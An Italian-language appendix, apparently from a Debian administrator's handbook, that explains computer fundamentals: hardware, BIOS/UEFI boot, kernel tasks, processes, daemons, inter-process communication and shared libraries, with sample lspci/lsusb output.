B.3.1. Lo Strato più Profondo: l'Hardware

Cominciamo con un promemoria base che un computer è, prima di tutto, un insieme di elementi hardware. C'è generalmente una scheda principale (nota come scheda madre), con uno (o più) processori, qualche RAM, controller di dispositivi, e slot di espansione per schede aggiuntive (per altri controller di dispositivi). I più degni di nota tra questi controller sono gli IDE (Parallel ATA), SCSI e Serial ATA, per il collegamento di dispositivi di memorizzazione come gli hard disk. Altri controller includono l'USB, che è in grado di ospitare una grande varietà di dispositivi (che vanno dalle webcam ai termometri, dalle tastiere ai sistemi di automazione domestica) e l'IEEE 1394 (Firewire). Questi controller spesso consentono il collegamento di più dispositivi così il sottosistema completo gestito da un controller è quindi generalmente noto come "bus". Schede opzionali includono le schede grafiche (alle quali verranno collegati gli schermi dei monitor), le schede audio, le schede di rete, e così via. Alcune schede madri hanno già integrate queste caratteristiche, e non hanno bisogno di schede aggiuntive.

IN PRATICA Verifica dell'hardware

La veririfica che una parte di hardware funzioni può essere difficile. D'altra parte, dimostrare che non funziona è qualche volta abbastanza semplice.

Un hard disk è fatto di piatti rotanti e testine magnetica in movimento. Quando un hard disk si accende, il motore del piatto fa un ronzio caratteristico. E dissipa anche energia come calore. Di conseguenza, un disco rigido che rimane freddo e silenzioso quando acceso è rotto.

Le schede di rete spesso includono LED che mostrano lo stato del collegamento. Se un cavo è collegato ad un hub di rete funzionante o ad uno switch, almeno un LED si accende. Se non si accende nessun LED, o la scheda stessa, o il dispositivo di rete, oppure il cavo tra di loro, è difettoso. Il passo successivo è quindi testare ciascun componente singolarmente.

Alcune schede opzionali - le schede video 3D in particolare - includono dispositivi di raffreddamento, come i dissipatori di calore e/o ventilatori. Se la ventola non gira anche se la scheda è alimentata, una spiegazione plausibile è la scheda sia surriscaldata. Questo vale anche per il processore(i) principale(i) situato(i) sulla scheda madre.

B.3.2. L'Avviatore: BIOS o UEFI

L'hardware, da solo, non è in grado di eseguire operazioni utili il corrispondente pezzo di software che lo guidi. Il controllo e l'interazione con l'hardware è lo scopo del sistema operativo e delle applicazioni. Questi, a loro volta, richiedono hardware funzionale per essere eseguiti.

Questa simbiosi tra hardware e software non avviene da sola. Quando il computer viene acceso dapprima, sono necessarie alcune configurazioni iniziali. Questo compito è assunto dal BIOS o dall'UEFI, un pezzo di software incluso nella scheda madre che si avvia automaticamente al momento dell'accensione. Il suo compito principale è cercare un software a cui possa cui trasferire il controllo. Di solito, nel caso del BIOS, questo comporta la ricerca del primo disco rigido con settore d'avvio (noto anche come master boot record o MBR), per caricare il settore d'avvio, ed eseguirlo. Da quel momento in poi, il BIOS di solito non è più coinvolto (fino al successivo avvio). Nel caso di EUFI, il processo comporta anche la scansione dei dischi per trovare una partizione EFI dedicata contenente ulteriori applicazioni EFI da eseguire.

STRUMENTO Impostare la configurazione del BIOS/UEFI

Il BIOS/UEFI contiene anche un software chiamato Setup, progettato per consentire di configurare gli aspetti del computer. In particolare, consente di scegliere il dispositivo di avvio preferito (per esempio, puoi selezionare un dispositivo USB o un CD-ROM invece dell'hard disk principale), di impostare l'orologio di sistema e così via. L'avvio del Setup, di solito, si ottiene premendo velocementre un tasto subito dopo l'accensione del computer. Questo tasto è spesso Del o Esc, a volte F2 o F10. Generalmente, la scelta è visualizzata sullo schermo durante l'avvio.

Il settore di avvio (o la partizione EFI), a sua volta, contiene un'altro pezzo di software, chiamato bootloader, il cui scopo è quello di trovare ed eseguire un sistema operativo. Dal momento che questo bootloader non è incorporato nella scheda madre, ma è caricato dal disco, può avere più funzionalità del BIOS, il che spiega perché il BIOS non carica il sistema operativo stesso. Ad esempio, il bootloader (spesso GRUB su sistemi Linux) può elencare i sistemi operativi disponibili e chiedere all'utente di sceglierne uno. Di solito, viene fornita una scelta predefinita ed una di timeout. A volte l'utente può anche scegliere di aggiungere parametri da passare al kernel, e così via. Alla fine, un kernel viene trovato, caricato in memoria, ed eseguito.

NOTA UEFI, un moderno sostituto del BIOS

La maggior parte dei nuovi computer si avvia di default in modalità UEFI, ma di solito hanno anche il supporto all'avvio da BIOS per retrocompatibilità con i sistemi operativi non in grado di sfruttare UEFI.

Questo nuovo sistema si libera di alcune delle limitazioni del BIOS: con l'utilizzo di una partizione dedicata, i bootloader non hanno più bisogno trucchi speciali per adattarsi in un piccolo master boot record e poi scoprire il kernel da avviare. Ancora meglio, con un kernel Linux opportunamente costruito, UEFI può avviare direttamente il kernel senza alcun bootloader intermedio. UEFI è anche il fondamento di base usato per fornire Secure Boot, una tecnologia per garantire che si esegua solo software convalidato dal produttore del sistema operativo.

Il BIOS/UEFI è anche responsabile del rilevamento edell'inizializzazione di un numero di dispositivi. Ovviamente, questo include i dispositivi IDE/SATA (di solito hard disk e unità CD/DVD-ROM), ma anche i dispositivi PCI. I dispositivi rilevati sono spesso elencati sullo schermo durante il processo di avvio. Se questo elenco scorre troppo velocemente, utilizzare il tasto Pausa per fermarlo il tempo sufficiente per leggere. Dispositivi PCI installati che non vengono visualizzati sono un cattivo presagio. Nel peggiore dei casi, il dispositivo è difettoso. Nella migliore delle ipotesi, è semplicemente incompatibile con la versione corrente del BIOS o con la scheda madre. Le specifiche PCI si evolvono, e le vecchie scehde madri non garantiscono di gestire i dispositivi PCI più recenti.

B.3.3. Il Kernel

Sia il BIOS/EUFI che il bootloader sono eseguiti solo per pochi secondi ciascuno; ora stiamo ottenendo il primo pezzo di software che viene eseguito per un tempo più lungo, il kernel del sistema operativo. Questo kernel assume il ruolo di un direttore d'orchestra, e assicura il coordinamento tra hardware e software. Questo ruolo prevede diverse attività tra cui: guidare l'hardware, gestire i processi, gli utenti ed i permessi, il filesystem, e così via. Il kernel fornisce una base comune a tutti gli altri programmi sul sistema.

B.3.4. Lo Spazio Utente

Anche se tutto ciò che accade al di fuori del kernel può essere accomunato sottola dicitura "user space" (spazio utente), possiamo ancora separarlo in strati software. Tuttavia, le interazioni tra i processi esterni al kernel sono più complesse rispetto a prima, e le classificazioni possono non essere così semplici. Un'applicazione utilizza comunemente librerie, che a loro volta coinvolgono il kernel, ma le comunicazioni possono coinvolgere anche altri programmi, o anche altre librerie che si chiamano a vicenda.

B.4. Alcuni Compiti di cui si occupa il Kernel

B.4.1. Guidare l'Hardware

Il kernel ha, prima di tutto, il compito di controllare i componenti hardware, individuarli, avviarli quando il computer viene acceso, e così via. Fornisce loro anche software di livello superiore con un'interfaccia di programmazione semplificata, cosicchè le applicazioni possono utilizzare i dispositivi senza doversi preoccupare di dettagli come ad esempio a quale slot di espansione è collegata la scheda aggiuntiva. L'interfaccia di programmazione prevede anche un livello di astrazione; questo permette al software di video-conferenza, ad esempio, di usare una webcam indipendentemente dalla sua marca e modello. Il software è in grado appena di utilizzare l'interfaccia Video for Linux (V4L), ed il kernel traduce le chiamate di funzione di questa interfaccia nei comandi hardware effettivi necessari alla specifica webcam in uso.

Il kernel esporta molti dettagli sull'hardware rilevato attraverso i filesystem virtuali /proc/ and /sys/. Diversi strumenti riassumono questi dettagli. Tra questi, lspci (nel pacchetto pciutils) elenca i dispositivi PCI, lsusb (nel pacchetto usbutils) elenca i dispositivi USB, e lspcmcia (nel pacchetto pcmciautils) elenca i dispositivi PCMCIA. Questi strumenti sono molto utili per identificare il modello esatto di un dispositivo. Questa identificazione permette anche di effettuare ricerche più precise sul web che, a loro volta, portano a documenti più pertinenti.

Esempio B.1. Esempio di informazioni fornite da lspci e lsusb

$ lspci

[...]

00:02.1 Display controller: Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller (rev 03)

00:1c.0 PCI bridge: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) PCI Express Port 1 (rev 03)

00:1d.0 USB Controller: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #1 (rev 03)

[...]

01:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5751 Gigabit Ethernet PCI Express (rev 01)

02:03.0 Network controller: Intel Corporation PRO/Wireless 2200BG Network Connection (rev 05)

$ lsusb

Bus 005 Device 004: ID 413c:a005 Dell Computer Corp.

Bus 005 Device 008: ID 413c:9001 Dell Computer Corp.

Bus 005 Device 007: ID 045e:00dd Microsoft Corp.

Bus 005 Device 006: ID 046d:c03d Logitech, Inc.

[...]

Bus 002 Device 004: ID 413c:8103 Dell Computer Corp. Wireless 350 Bluetooth

Questi programmi hanno un'opzione -v che riporta informazioni molto più dettagliate (ma di solito non necessario). Infine, il comando lsdev (nel pacchetto procinfo) elenca le risorse di comunicazione utilizzate dai dispositivi.

Le applicazioni spesso accedono ai dispositivi per mezzo di file speciali creati all'interno della cartella /dev/ (vedi riquadro FONDAMENTALI Permessi di accesso ai dispositivi). Si tratta di file speciali che rappresentano le unità disco (per esempio, /dev/hda e /dev/sdc), le partizioni(/dev/hda1 o /dev/sdc3), i mouse (/dev/input/mouse0), le tastiere (/dev/input/event0), le schede audio (/dev/snd/*), le porte seriali (/dev/ttyS*), e così via.

B.4.2. Filesystem

I filesystem sono uno degli aspetti più importanti del kernel. I sistemi unix uniscono tutti gli archivi in un'unica gerarchia, che permette agli utenti (ed alle applicazioni) di accedere ai dati semplicemente conoscendo la loro posizione all'interno di tale gerarchia.

Il punto di partenza di questo albero gerarchico è chiamato radice (root), /. Questa directory può contenere sottodirectory. Ad esempio, la directory home sottodirectory di / è chiamata /home/. Questa sottodirectory può, a sua volta, contiene altre sottodirectory, e così via. Ogni directory può contenere anche file, in cui verranno memorizzati i dati effettivi. Così, il nome /home/marco/Scrivania/ciao.txt si riferisce ad un file chiamato ciao.txt memorizzato in Scrivania sottodirectory di marco sottodirectory della directory home presente nella radice. Il kernel fa la traduzione tra questo sistema di denominazione e la reale, fisica archiviazione su un disco.

A differenza di altri sistemi, c'è solo un tale gerarchia, e può integrare dati da più dischi. Uno di questi dischi è usato come radice, e gli altri sono "montati" sulle directory nella gerarchia (il comando Unix è chiamato mount); questi altri dischi sono poi disponibili sotto questi "punti di montaggio". Questo permette di memorizzare le directory home degli utenti (di solito memorizzate all'interno di /home/) su un secondo hard disk, che conterrà le directory marco e grazia. Una volta che il disco è montato in /home/, queste directory diventano accessibili alle loro solite posizioni, e percorsi come /home/marco/Scrivania/ciao.txt continueranno a funzionare.

Ci sono molti formati di filesystem, che corrispondono a molti modi per memorizzare fisicamente i dati sui dischi. I più conosciuti sono ext3 ed ext4, ma ne esistono altri. Ad esempio, vfat è il sistema che è stato storicamente utilizzato dai sistemi operativi DOS e Windows e che consente di utilizzare i disci rigidi sotto Debian così come in Windows. In questo caso, il filesystem deve essere preparato sul disco prima che venga montato e questa operazione è nota come "formattazione". I comandi come mkfs.ext3 (dove mkfs sta per MaKe FileSystem) gestiscono la formattazione. Questi comandi richiedono, come parametro, un file del dispositivo che rappresenta la partizione che deve essere formattata (per esempio, /dev/sda1). Questa operazione è distruttiva e deve essere eseguita una sola volta, a meno che non si voglia deliberatamente ripulire un filesystem e ricominciare da capo.

Ci sono anche i file system di rete, come NFS, in cui i dati non sono memorizzati su un disco locale. Invece, i dati vengono trasmessi attraverso la rete a un server che li memorizza e li recupera su richiesta. L'astrazione del filesystem protegge gli utenti dal dover fare attenzione: i file rimangono di solito accessibili in modo gerarchico.

B.4.3. Funzioni Condivise

Dal momento che un certo numero di stesse funzioni è utilizzato da tutti i software, ha senso che vengano centralizzate nel kernel. Ad esempio, la gestione del file system condiviso permette a qualsiasi applicazione semplicemente aprire un file per nome, senza la necessità di preoccuparsi del modo in cui il file è memorizzato fisicamente. Il file può essere memorizzato in parecchie parti diverse su un disco rigido, o diviso su più dischi rigidi, o anche memorizzato su un file server remoto. Le funzioni di comunicazione condivise vengono utilizzate dalle applicazioni per scambiare dati indipendentemente dal modo in cui i dati vengono trasportati. Per esempio, il trasporto potrebbe avvenire su qualsiasi combinazione di reti locali o wireless, o su un telefono fisso.

B.4.4. Gestione Processi

Un processo è un'istanza di un programma in esecuzione. Ciò richiede memoria per memorizzare sia il programma che i suoi dati in esecuzione. Il kermel si occupa della creazione e del loro monitoraggio. Quando un programma viene eseguito, il kernel prima mette da parte un pò di memoria, quindi carica il codice eseguibile dal filesystem in esso, e poi avvia l'esecuzione del codice. Mantiene le informazioni su questo processo, delle quali la più visibile è il numero identificativo conosciuto come pid (process identifier).

I kernel Unix-like (incluso Linux), come la maggior parte dei sistemi operativi moderni, sono “multi-tasking”. In altre parole, permettono l'esecuzione di molti processi "contemporaneamente". In realtà c'è solo un processo in esecuzione in un dato momento, ma il kernel fraziona il tempo in intervalli ed esegue ogni processo a turno. Poiché questi intervalli di tempo sono molto brevi (in millisecondi), creano l'illusione di processi in esecuzione in parallelo, anche se in realtà sono attivi solo durante alcuni intervalli di tempo e inattivi il resto del tempo. Il lavoro del kernel è quello di regolare il suo meccanismo di pianificazione per mantenere questa illusione, massimizzando le prestazioni globali del sistema. Se gli intervalli di tempo sono troppo lunghi, l'applicazione potrebbe non mostrarsi così reattiva come si desidera. Se sono troppo brevi, il sistema perde tempo a passare da un lavoro (task) ad un'altro troppo frequentemente. Queste decisioni possono essere modificate attraverso le priorità dei processi. I processi ad alta priorità verranno eseguiti per più tempo e con intervalli più frequenti rispetto ai processi a bassa priorità.

NOTA Sistemi Multi-processore (e varianti)

La limitazione sopra descritta, di un solo processo alla volta che può essere eseguito, non si applica sempre. L'attuale restrizione è che ci può essere un solo processo alla volta in esecuzione per core di processore. I sistemi multi-processore, multi-core o "hyper-threading" consentono l'esecuzione di più processi in parallelo. Lo stesso sistema time-slicing è ancora usato, anche se, per gestire i casi in cui vi sono più processi attivi che core disponibili. Questo è tutt'altro che insolito: un sistema di base, anche se inattivo, quasi sempre ha decine di processi in esecuzione.

Naturalmente, il kernel permette di eseguire diverse istanze indipendenti dello stesso programma. Ma ciascuno può accedere solo ai propri intervalli di tempo e memoria. I loro dati rimangono quindi indipendenti.

B.4.5. Gestione dei Diritti

I sistemi Unix-like sono anche multi-utente. Essi forniscono un sistema di gestione dei diritti che supporta utenti e gruppi separati; permette anche il controllo sulle azioni basate sulle autorizzazioni. Il kernel gestisce i dati per ogni processo, permettendo di controllare i permessi. La maggior parte del tempo, il processo è identificato dall'utente che lo ha iniziato. Tale processo è consentito solo per rendere quelle azioni disponibili al suo proprietario. Ad esempio, il tentativo di aprire un file richiede che il kernel controlli l'identità del processo contro le autorizzazioni di accesso (per maggiori dettagli su questo particolare esempio, vedere Sezione 9.3, «Gestione dei permessi»).

B.5. Lo Spazio Utente

"Spazio utente" si riferisce l'ambiente di runtime di normali (al contrario di kernel) processi. Questo non significa necessariamente che questi processi siano effettivamente avviati dagli utenti perchè normalmente un sistema standard ha diversi processi "demoni" (o in background) in esecuzione prima che l'utente apri anche una sessione. I processi demoni sono considerati processi user-space.

B.5.1. Processo

Qunado il kernel ternima la sua fase di inizializzazione, avvia il primo processo, init. Il processo #1 da solo è molto raramente utile di per sé, ed i sistemi Unix-like vengono eseguiti con molti processi aggiuntivi.

Prima di tutto, un processo può clonare se stesso (questo è noto come fork). Il kermel alloca un nuovo (ma identico) spazio di memoria per il processo, ed un'altro processo per usarlo. In questo momento, l'unica differenza tra questi due processi è il loro pid. Il nuovo processo è chiamato di solito processo figlio, ed il processo originale il cui pid non cambia, è chiamato processo padre.

A volte, il processo figlio continua a condurre la sua propria vita indipendentemente dal suo genitore, con i propri dati copiati dal processo genitore. In molti casi, però, questo processo figlio esegue un altro programma. Con poche eccezioni, la memoria viene semplicemente sostituita da quella del nuovo programma, e l'esecuzione di questo nuovo programma inizia. Questo è il meccanismo utilizzato dal processo init (con il processo numero 1) per avviare servizi aggiuntivi ed eseguire l'intera sequenza di avvio. Ad un certo punto, un processo tra i processi figli di init avvia un'interfaccia grafica per gli utenti che devono fare il login (la sequenza reale degli eventi è descritta in dettaglio in Sezione 9.1, «Avvio del sistema»).

Quando un processo completa il compito per cui è stato avviato, termina. Il kernel poi recupera la memoria assegnata a questo processo, e smette di assegnarli porzioni di tempo per l'esecuzione. Al processo genitore viene detto che il proprio processo figlio è terminato, questo permette ad un processo di attendere il completamento del compito delegato ad un processo figlio. Questo comportamento è chiaramente visibile negli interpreti a riga di comando (conosciuti come shell). Quando viene digitato un comando in una shell, il prompt ritorna disponibile solo quando l'esecuzione del comando è completata. La maggior parte delle shell consentono l'esecuzione di comandi in background, si tratta solo di aggiungere un & alla fine del comando. Il prompt viene subito visualizzato di nuovo, e ciò può causare problemi se il comando ha bisogno di visualizzare i propri dati.

B.5.2. Demoni

Un "demone" è un processo avviato automaticamente dalla sequenza di avvio. Continua a funzionare (in background) per eseguire operazioni di manutenzione o per fornire servizi ad altri processi. Questa "attività in background" è in realtà arbitraria, e non corrisponde a niente di particolare dal punto di vista del sistema. Sono semplicemente processi, molto simili ad altri processi, che a loro volta si avviano quando arriva il loro intervallo di tempo. La distinzione è solo nel linguaggio umano: un processo che viene eseguito senza interazione con l'utente (in particolare, senza alcuna interfaccia grafica) è detto essere in esecuzione "in background" o "come demone".

VOCABOLARIO Daemon, demone, un termine dispregiativo?

Anche se il termine daemon condivide la sua etimologia greca con demon, il primo non implica il male diabolico, invece, dovrebbe essere inteso come una sorta di spirito aiutante. Questa distinzione è abbastanza sottile in inglese; è anche peggio in altre lingue in cui la stessa parola è usata per entrambi i significati.

Molti di questi demoni sono descritti in dettaglio nella Capitolo 9, Servizi Unix.

B.5.3. Comunicazioni tra Processi

Un processo isolato, sia esso un demone o un'applicazione interattiva, raramente è utile di per sé, ed è per questo ci sono diversi metodi che consentono ai processi separati di comunicare tra loro, sia per lo scambio di dati che per controllarsi l'un l'altro. Il termine generico che si riferisce a questo è comunicazione tra processi, o IPC in breve.

Il più semplice sistema di IPC è quello di utilizzare i file. Il processo che desidera inviare dati scrive in un file (con un nome noto in anticipo), mentre il destinatario deve solo aprire il file e leggere i contenuti.

Nel caso in cui non si desideri memorizzare i dati su disco, è possibile utilizzare una pipe, che è semplicemente un oggetto con due estremità; i byte scritti in una delle estremità sono leggibili dall'altra. Se le estremità sono controllate da processi separati, questo porta ad un canale di comunicazione tra processi semplice e conveniente. Le pipe possono essere classificate in due categorie: pipe con nome, e pipe anonime. Una pipe con nome è rappresentata da una sola voce sul filesystem (anche se i dati trasmessi non sono memorizzati lì), quindi entrambi i processi possono aprirla indipendentemente se la posizione della pipe con nome è nota in anticipo. Nel caso in cui sono collegati processi comunicanti (per esempio, un processo genitore ed un processo figlio), il processo padre può anche creare una pipe anonima prima di fare il fork, ed il processo figlio la eredita. Entrambi i processi saranno quindi in grado di scambiare dati attraverso la pipe senza bisogno del filesystem.

IN PRATICA Un'esempio concreto

Descriviamo in dettaglio ciò che accade quando un comando complesso (una pipeline) viene eseguita da una shell. Supponiamo di avere un processo bash (la shell utente standard su Debian), con pid 4374; in questa shell, digitiamo il comando: ls | sort .

La shell prima interpreta il comando digitato. Nel nostro caso, si capisce che ci sono due programmi (ls e sort), con un flusso di dati che scorre da uno all'altro (indicato dal carattere |, noto come pipe). bash crea innanzitutto una pipe senza nome (che inizialmente esiste solo all'interno del processo bash stesso).

Poi la shell clona se stessa; questo porta ad un nuovo processo bash, con pid #4521 (i pid sono numeri astratti, ed in genere non hanno un significato particolare). Il processo #4521 eredita la pipe, che significa che è in grado di scrivere nel suo lato di "input"; la bash reindirizza il suo flusso di output standard verso l'ingresso di questa pipe. Poi esegue (e si sostituisce ad esso) il programma ls, che elenca il contenuto della directory corrente. Dal momento che ls scrive sul suo output standard, e questo output è stato precedentemente reindirizzato, i risultati sono inviati effettivamente nella pipe.

Un'operazione simile avviene per il secondo comando: bash si clona ancora, portando ad un nuovo processo bash con pid # 4522. Dal momento che è anche un processo figlio di # 4374, eredita anche la pipe; bash poi connette il suo input standard all'uscita della pipe, poi esegue (e si sostituisce ad esso) il comando sort, che ordina il suo input e visualizza i risultati.

Tutti i pezzi del puzzle sono ora impostati: ls legge la directory corrente e scrive l'elenco dei file nella pipe; sort legge questa lista, la ordine in ordine alfabetico, e visualizza i risultati. Processi numero #4521 e #4522 poi terminano, e #4374 (che li aspettava durante l'operazione), riprende il controllo e visualizza il prompt per consentire all'utente di digitare un nuovo comando.

Comunque, non tutte le comunicazioni tra processi sono usate per sposteare dati in giro. In molte situazioni, l'unica informazione che deve essere trasmessa sono i messaggi di controllo come "metti in pausa l'esecuzione" oppure "riprendi l'esecuzione". Unix (e Linux) forniscono un meccanismo noto come signals, attraverso il quale un processo può semplicemente inviare un segnale specifico (scelto da un'elenco predefinito di segnali) ad un'altro processo. L'unico requisito è quello di conoscere il pid del bersaglio.

Per le comunicazioni più complesse, ci sono anche meccanismi che consentono ad un processo di aprire l'accesso, o condividere, parte della sua memoria con altri processi. La memoria ora condivisa tra di essi può essere utilizzata per spostare i dati tra i processi.

Infine, le connessioni di rete possono anche aiutare i processi a comunicare; questi processi possono anche essere in esecuzione su computer diversi, forse anche a migliaia di chilometri di distanza.

E 'abbastanza normale per un tipico sistema Unix-like fare uso di tutti questi meccanismi a vari gradi.

B.5.4. Librerie

Le librerie di funzioni svolgono un ruolo cruciale in un sistema operativo Unix-like. Esse non sono programmi veri e propri, poiché non possono essere eseguiti da soli, ma raccolte di frammenti di codice che possono essere utilizzate da programmi standard. Tra le librerie comuni, potete trovare:

- la libreria standard C (glibc), che contiene le funzioni di base come quelle per aprire i file o le connessioni di rete, ed altre che facilitano le interazioni con il kernel;

- i toolkit grafici, come Gtk e Qt, consentono a molti programmi di riutilizzare gli oggetti grafici che forniscono;

- la libreria libpng, consente il caricamento, l'interpretazione ed il salvataggio delle immagini in formato PNG.

Grazie a queste librerie, le applicazioni possono riutilizzare il codice esistente. Lo sviluppo delle applicazioni è semplificato dal momento che molte applicazioni possono riutilizzare le stesse funzioni. Con librerie spesso sviluppate da persone diverse, lo sviluppo globale del sistema è più vicino alla filosofia storica di Unix.

CULTURA Il Modo Unix: una cosa alla volta

Uno dei concetti fondamentali che sta alla base della famiglia di sistemi operativi Unix è che ogni strumento deve fare solo una cosa, e farla bene; le applicazioni possono poi riutilizzare questi strumenti per costruire logica più avanzata. Questa filosofia può essere visto in molte incarnazioni. Gli script shell possono essere il miglior esempio: sono formati da sequenze complesse di comandi molto semplici (come grep, wc, sort, uniq e così via). Un'altra applicazione di questa filosofia può essere vista nelle librerie di codice: la libreria libpng permette la lettura e la scrittura di immagini PNG, ma fa solo questo, non include nessuna funzione che permette la visualizzazione o la modifica delle immagini.

Inoltre, queste librerie sono spesso indicate come "librerie condivise", dato che il kernel è in grado di caricarle in memoria solo una volta, anche se più processi utilizzano la stessa libreria allo stesso tempo. Ciò permette risparmio di memoria, se confrontato con la situazione (ipotetica) contraria in cui il codice per una libreria sarebbe caricato tante volte quanti sono i processi che la utilizzano.